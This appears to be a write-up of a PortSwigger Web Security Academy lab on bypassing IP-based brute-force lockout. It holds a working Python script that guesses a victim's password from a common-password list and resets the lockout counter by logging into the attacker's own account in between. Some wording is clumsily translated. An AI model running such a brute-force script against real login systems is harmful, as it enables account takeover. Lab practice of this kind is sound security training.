> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/authentication/broken-brute-force-protection-ip-block.md).

# Broken Brute-Force Protection with IP-Based Blocking

Broken Brute-Force Protection with IP-Based Blocking notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Broken Brute-force Protection, IP Block

This lab has a logical flaw in its protection against brute force attacks. / The goal is to **strengthen the victim's password** and then log in to his account.

* **Provided credentials:** wiener / peter
* **User name of victim:** carlos

#### Observation of the Blocking Mechanism

Testing several combinations for the carlos user shows that, after **three incorrect attempts**, the application displays:

> *You have made too many incorrect login attempts. Please try again in 1 minute(s).*

The site therefore applies a **block based on IP address** after several consecutive failures.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b623371b930021a4330e5c2456032e8e49c9d29%2F%7BCFB5F2FB-FF81-4BA4-BA1D-90CA69F6B159%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Contouring IP Blocking

To circumvent this protection, a logical flaw is exploited:

* We send **two** invalid attempts for carlos.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f051e988f80fded931e64b8edb12a3d8403e0fe%2F%7B61BF2B62-B49C-48C4-8F6C-B90DECD7A7E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* At the **third** attempt, we send a valid\*\* authentication, but with wiener IDs: peter.
* As this connection succeeds, the system \*\* resets the chess counter\*\* for this IP address.

### Python Script Used

The following script automates the attack by testing two passwords for carlos and then reset the counter via a successful connection as wiener:

```python
import requests
import time

url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"

passwords = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
    "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
    "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
    "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
    "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
    "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
    "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
    "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
    "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
    "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
    "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
    "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
    "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring",
    "montana", "moon", "moscow"
]

session = requests.Session()

def login(username, password):
    headers = {'Cookie': f'session={session_cookie}'}
    data = {'username': username, 'password': password}
    return session.post(url, headers=headers, data=data, allow_redirects=False)

for i in range(0, len(passwords), 2):
    batch = passwords[i:i+2]

    for password in batch:
        print(f"Trying carlos:{password}")
        response = login("carlos", password)

        if response.status_code == 302:
            print(f"PASSWORD FOUND! carlos:{password}")
            exit()

    if i + 2 < len(passwords):
        print("Resetting with wiener:peter")
        login("wiener", "peter")
        time.sleep(1)

print("Password not found")
```

The correct password for carlos discovered via attack is:

> **michelle**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcfb6593b76e21858855353a21320b3be2d1d9a8%2F%7BADE9E795-8DC3-45C6-9A31-D98A8A63F14D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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